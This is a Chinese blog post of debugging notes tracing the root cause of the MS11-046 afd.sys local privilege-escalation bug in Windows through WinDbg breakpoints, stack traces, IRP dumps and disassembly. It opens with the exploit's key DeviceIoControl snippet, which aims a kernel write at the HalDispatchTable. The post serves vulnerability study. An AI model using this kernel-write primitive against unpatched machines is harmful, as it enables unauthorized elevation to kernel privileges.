注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

从头开始分析一下ms11046的原因  

2013-03-05 16:15:46|  分类: 调试记录 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

ms11046的利用代码关键如下:

  DWORD buf[0x30];
  buf[3]=1;
  buf[4]=0x20;

  if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))
  {
    printf("error=%d\n", GetLastError());
  }

数据都是利用DeviceIoControl从R3到R0的,所以从这里开始,经过一些条件,最后到达一个可控数据变成可控地址的地方!

用一个等效语句就是:

if ( 对输入输出数据的各种检查满足条件 )

{

      输出数据到缓冲区

}

如果这个条件允许放水,那这个条件就是成因。


下条件断点

bp nt!NtDeviceIoControlFile "j (poi(@esp+18)==12007 & poi(@esp+20)==60) 'u poi(@esp) l1;dd /c1 @esp+4 la';'gc'"

之后中断在内核的nt!NtDeviceIoControlFile开始处,就可以看到我们从R3传进R0的参数了。

并且在R0里可以访问全部的4G虚拟地址。

kd> g
nt!KiFastCallEntry+0xf8:
804df7ec 8be5            mov     esp,ebp
f4c83d3c  00000084
f4c83d40  00000000
f4c83d44  00000000
f4c83d48  00000000
f4c83d4c  0012fb9c
f4c83d50  00012007
f4c83d54  0012feac
f4c83d58  00000060
f4c83d5c  8054db3e
f4c83d60  00000000
nt!NtDeviceIoControlFile:
805893aa 8bff            mov     edi,edi
我们感兴趣的是后5个数据。后5个数据的第一个是个控制码,这是个常数,知道了这个值,

就限定了某个模块的一个处理函数的一个分支。

后面4个数据是最重要的,如何追踪这4个数据的处理,在这里是个问题!

如长度60,可能很多函数都读了这个数,但是函数间是传值的,它们的地址不一样,这就不太好下内存断点。

只能在函数范围内下内存断点,但是又不知道是哪个函数。如果你有耐心,一级一级的追踪,那估计会累死!

另外的值就是缓冲区地址了,这些地址可以下内存断点,因为提供缓冲区的目的就是为了输入输出。

但是,这里又有一个问题。执行输入输出数据到缓冲区时,条件已经判断,并且条件一般都是一些长度值之类。

所以,用内存断点找到读写缓冲区的代码,然后再往前搜索条件。

 

查一下afd.sys模块的地址

kd> lm m afd
start    end        module name
f7fac000 f7fcdd00   afd        (pdb symbols)          c:\mysymbols\afd.pdb\7365F3AB401D424993E1BB4907FB03372\afd.pdb

下内存断点

ba r1 0012feac "j (@eip>f7fac000 & @eip<f7fcdd00) 'ub';'gc'"
ba r1 8054db3e "j (@eip>f7fac000 & @eip<f7fcdd00) 'ub';'gc'"

这样就可以在afd.sys模块里面的地址断下,无关模块忽略!

第一次中断在

eax=0012feac ebx=8208c0e4 ecx=0012ff0c edx=8208c0e4 esi=00000000 edi=8208c008
eip=f7fafcc1 esp=f4f1dbcc ebp=f4f1dc24 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
afd!AfdConnect+0x71:
f7fafcc1 750c            jne     afd!AfdConnect+0x87 (f7fafccf)

kd> ub
afd!AfdConnect+0x5a:
f7fafca8 17              pop     ss
f7fafca9 0000            add     byte ptr [eax],al
f7fafcab a1c8d3faf7      mov     eax,dword ptr [afd!_imp__MmUserProbeAddress (f7fad3c8)]
f7fafcb0 3b08            cmp     ecx,dword ptr [eax]
f7fafcb2 0f8794170000    ja      afd!AfdConnect+0x62 (f7fb144c)
f7fafcb8 8b4310          mov     eax,dword ptr [ebx+10h]
f7fafcbb 8945b4          mov     dword ptr [ebp-4Ch],eax
f7fafcbe 803800          cmp     byte ptr [eax],0

堆栈如下

kd> kn
 # ChildEBP RetAddr 
00 f4f1dc24 f7fb72d7 afd!AfdConnect+0x71
01 f4f1dc34 804e4807 afd!AfdDispatchDeviceControl+0x53
02 f4f1dc44 80568f71 nt!IopfCallDriver+0x31
03 f4f1dc58 8057bc7f nt!IopSynchronousServiceTail+0x70
04 f4f1dd00 805893d4 nt!IopXxxControlFile+0x611
05 f4f1dd34 804df7ec nt!NtDeviceIoControlFile+0x2a
06 f4f1dd34 7c92e514 nt!KiFastCallEntry+0xf8
07 0012fb5c 7c92d28a ntdll!KiFastSystemCallRet
08 0012fb60 7c801675 ntdll!ZwDeviceIoControlFile+0xc

第二次中断在

eax=8054db3e ebx=821246dc ecx=c0000207 edx=00000000 esi=8208c008 edi=820956d0
eip=f7fb13a5 esp=f4f1d9a8 ebp=f4f1d9d8 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
afd!AfdConnectApcKernelRoutine+0x2f:
f7fb13a5 8908            mov     dword ptr [eax],ecx  ds:0023:8054db3e=a3ce806f

kd> ub
afd!AfdConnectApcKernelRoutine+0x1a:
f7fb1390 8975e4          mov     dword ptr [ebp-1Ch],esi
f7fb1393 8b4518          mov     eax,dword ptr [ebp+18h]
f7fb1396 8b00            mov     eax,dword ptr [eax]
f7fb1398 8945e0          mov     dword ptr [ebp-20h],eax
f7fb139b 8365fc00        and     dword ptr [ebp-4],0
f7fb139f 8b463c          mov     eax,dword ptr [esi+3Ch]
f7fb13a2 8b4e18          mov     ecx,dword ptr [esi+18h]
f7fb13a5 8908            mov     dword ptr [eax],ecx

堆栈如下

kd> kn
 # ChildEBP RetAddr 
00 f4f1d9d8 804edaba afd!AfdConnectApcKernelRoutine+0x2f
01 f4f1da28 806f5c0e nt!KiDeliverApc+0xb3
02 f4f1da28 806f00b3 hal!HalpApcInterrupt2ndEntry+0x31
03 f4f1dab4 804e646c hal!KfLowerIrql+0x43
04 f4f1dad4 f7fbbf95 nt!KeInsertQueueApc+0x4b
05 f4f1db04 804e4d48 afd!AfdRestartConnect+0x172
06 f4f1db34 f7ffa942 nt!IopfCompleteRequest+0xa2
07 f4f1db4c f8000471 tcpip!TCPDataRequestComplete+0xa6
08 f4f1db60 f8005c0a tcpip!TCPRequestComplete+0x12
09 f4f1db98 f7ffc7a0 tcpip!TCPConnect+0xbc
0a f4f1dbb4 804e4807 tcpip!TCPDispatchInternalDeviceControl+0x13f
0b f4f1dbc4 f7fafec4 nt!IopfCallDriver+0x31
0c f4f1dc24 f7fb72d7 afd!AfdConnect+0x3a8
0d f4f1dc34 804e4807 afd!AfdDispatchDeviceControl+0x53
0e f4f1dc44 80568f71 nt!IopfCallDriver+0x31
0f f4f1dc58 8057bc7f nt!IopSynchronousServiceTail+0x70
10 f4f1dd00 805893d4 nt!IopXxxControlFile+0x611
11 f4f1dd34 804df7ec nt!NtDeviceIoControlFile+0x2a
12 f4f1dd34 7c92e514 nt!KiFastCallEntry+0xf8
13 0012fb5c 7c92d28a ntdll!KiFastSystemCallRet

对照上面堆栈可以看见,红色部分是一样的,蓝色部分开始不一样!

如下图,用重合数据比较直观!

准备从输入开始分析一下ms11046的原因 - appall - 且行且记录

也就是说,有问题的代码在afd!AfdConnect+0x71附近到afd!AfdConnect+0x3a8范围

那就从afd!AfdConnect开始分析好了。

 
 afd!AfdConnect函数调用关系
kd> uf /c afd!AfdConnect
afd!AfdConnect (f7fafc55)
  afd!AfdConnect+0x1e1 (f7faf643):
    call to afd!AfdDoDatagramConnect (f7fb9646)
 
afd!AfdConnect+0x7 (f7fafc5c):
    call to afd!_SEH_prolog (f7fac450)
  afd!AfdConnect+0xb2 (f7fafcfa):
    call to nt!ExAllocatePoolWithQuotaTag (804e7bb4)
  afd!AfdConnect+0x1b8 (f7fafd85):
    call to nt!ObfReferenceObject (804da023)
  afd!AfdConnect+0x249 (f7fafdf8):
    call to afd!AfdCreateConnection (f7fb00a2)
  afd!AfdConnect+0x277 (f7fafe26):
    call to afd!AfdAddConnectedReference (f7fb8692)
  afd!AfdConnect+0x2a1 (f7fafe43):
    call to afd!AfdEnableFailedConnectEvent (f7fb86ce)
  afd!AfdConnect+0x327 (f7fafebe):
    call to nt!IofCallDriver (804e47d5)
  afd!AfdConnect+0x3a8 (f7fafec4):
    call to afd!_SEH_epilog (f7fac490)
  afd!AfdConnect+0x17d (f7fb13f0):
    call to nt!ObReferenceObjectByHandle (80565be8)
  afd!AfdConnect+0x62 (f7fb144c):
    call to nt!ExRaiseAccessViolation (80649088)
  afd!AfdConnect+0x47 (f7fb1b1a):
    call to nt!ExRaiseDatatypeMisalignment (8064909d)
  afd!AfdConnect+0xf6 (f7fb1b33):
    call to nt!ExRaiseStatus (804dd5e6)
  afd!AfdConnect+0x29b (f7fb1b66):
    call to afd!AfdSetupConnectDataBuffers (f7fc1d7c)
  afd!AfdConnect+0x33c (f7fb1b88):
    call to nt!ObfDereferenceObject (804da050)
  afd!AfdConnect+0x37f (f7fb1bd8):
    call to nt!ExFreePoolWithTag (8054c587)
  afd!AfdConnect+0x39f (f7fb1bf8):
    call to nt!IofCompleteRequest (804e4c06)
 

 在断点

bp nt!NtDeviceIoControlFile "j (poi(@esp+18)==12007 & poi(@esp+20)==60) 'u poi(@esp) l1;dd /c1 @esp+4 la';'gc'"

中断后,允许以下断点

bp afd!AfdConnect ".echo =========start============"

bp afd!AfdConnectApcKernelRoutine+0x2f ".echo ==========write========="

 这样就可以中断在那个IRP满足我们的条件下了。

运行后中断在函数开头,查看它的ecx=IRP

(fastcall 调用 ecx、edx为参数)

=========start============
eax=00000001 ebx=820e1568 ecx=820e1568 edx=820e1644 esi=f7fafc55 edi=00012007
eip=f7fafc55 esp=f4d83c28 ebp=f4d83c34 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
afd!AfdConnect:
f7fafc55 6a3c            push    3Ch
kd> !irp 820e1568 1
Irp is active with 4 stacks 4 is current (= 0x820e1644)
 No Mdl: No System Buffer: Thread 821b63c8:  Irp stack trace. 
Flags = 00000000
ThreadListEntry.Flink = 821b65d8
ThreadListEntry.Blink = 821b65d8
IoStatus.Status = 00000000
IoStatus.Information = 00000000
RequestorMode = 00000001
Cancel = 00
CancelIrql = 0
ApcEnvironment = 00
UserIosb = 0012fb9c
UserEvent = 00000000
Overlay.AsynchronousParameters.UserApcRoutine = 00000000
Overlay.AsynchronousParameters.UserApcContext = 00000000
Overlay.AllocationSize = 00000000 - 00000000
CancelRoutine = 00000000  
UserBuffer = 8054db3e
&Tail.Overlay.DeviceQueueEntry = 820e15a8
Tail.Overlay.Thread = 821b63c8
Tail.Overlay.AuxiliaryBuffer = 00000000
Tail.Overlay.ListEntry.Flink = 00000000
Tail.Overlay.ListEntry.Blink = 00000000
Tail.Overlay.CurrentStackLocation = 820e1644
Tail.Overlay.OriginalFileObject = 82197338
Tail.Apc = 00000000
Tail.CompletionKey = 00000000
     cmd  flg cl Device   File     Completion-Context
 [  0, 0]   0  0 00000000 00000000 00000000-00000000   

   Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000   

   Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000   

   Args: 00000000 00000000 00000000 00000000
>[  e, 1]   5  0 82142f18 82197338 00000000-00000000   
        \Driver\AFD
   Args: 00000000 00000060 00012007 0012feac
kd> dd 0x820e1644
820e1644  0005010e 00000000 00000060 00012007
820e1654  0012feac 82142f18 82197338
00000000
820e1664  00000000 00000000 00000000 00000000


反汇编以及调试跟踪这个函数找出与参数有关的代码。整体关系如下图:

从头开始分析一下ms11046的原因 - appall - 且行且记录
 

与参数有关的如下

从头开始分析一下ms11046的原因 - appall - 且行且记录

 

从头开始分析一下ms11046的原因 - appall - 且行且记录

 

从头开始分析一下ms11046的原因 - appall - 且行且记录

 

 

从头开始分析一下ms11046的原因 - appall - 且行且记录

 

 

 上面黄线和蓝线所指的是主要的部分。

从总图可见到黄线最后的比较部分很有可能就是这个原因。

f7fafd55 0f8714170000    ja      afd!AfdConnect+0x115 (f7fb146f)

输出长度大于零时跳到下面图做输出地址检查;
 
而等于零就往下走,直到调用到
afd!AfdRestartConnect+0x11e:
f7fb8458 8b4510          mov     eax,dword ptr [ebp+10h]
f7fb845b 8d4820          lea     ecx,[eax+20h]
f7fb845e 83caff          or      edx,0FFFFFFFFh
f7fb8461 f00fc111        lock xadd dword ptr [ecx],edx
f7fb8465 0f8447010000    je      afd!AfdRestartConnect+0x12d (f7fb85b2)
f7fb846b 807e2001        cmp     byte ptr [esi+20h],1
f7fb846f 750a            jne     afd!AfdRestartConnect+0x17d (f7fb847b)
f7fb8471 837e3c00        cmp     dword ptr [esi+3Ch],0
f7fb8475 0f85e73a0000    jne     afd!AfdRestartConnect+0x13f (f7fbbf62)  [br=1]
再到写地址
afd!AfdConnectApcKernelRoutine+0x15:
f7fb138b 8b4514          mov     eax,dword ptr [ebp+14h]
f7fb138e 8b30            mov     esi,dword ptr [eax]
f7fb1390 8975e4          mov     dword ptr [ebp-1Ch],esi
f7fb1393 8b4518          mov     eax,dword ptr [ebp+18h]
f7fb1396 8b00            mov     eax,dword ptr [eax]
f7fb1398 8945e0          mov     dword ptr [ebp-20h],eax
f7fb139b 8365fc00        and     dword ptr [ebp-4],0
f7fb139f 8b463c          mov     eax,dword ptr [esi+3Ch]
f7fb13a2 8b4e18          mov     ecx,dword ptr [esi+18h] ds:0023:820e1580=c0000207
f7fb13a5 8908            mov     dword ptr [eax],ecx  ds:0023:8054db3e=a3ce806f
  评论这张
 
阅读(1091)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017